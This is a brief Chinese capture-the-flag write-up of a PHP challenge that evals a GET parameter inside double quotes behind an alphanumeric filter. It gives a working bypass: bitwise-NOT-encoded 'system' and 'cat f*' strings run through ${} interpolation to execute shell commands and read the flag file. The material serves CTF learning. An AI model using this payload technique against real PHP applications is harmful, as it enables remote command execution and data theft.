题目源码:
<?phpif(!isset($_GET['str'])){show_source(__FILE__);die();}#GOAL: gather some phpinfo();$str=@(string)$_GET['str'];include "check.php";@eval('$str="'.addslashes($str).'";');//hint:flag in flag.php
check.php经过测试后,感觉是过滤了A-Za-z0-9的字符,特殊字符都没有被过滤
之前看过一篇文章,无字母getshell,但是比赛时只想到了${},没做出来。。。
payload:
<?phpecho urlencode(~'system');echo "\n";echo urlencode(~'cat f*');?>
得到两个命令的url编码后,利用${}执行即可
url?str=${((~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%99%D5))}
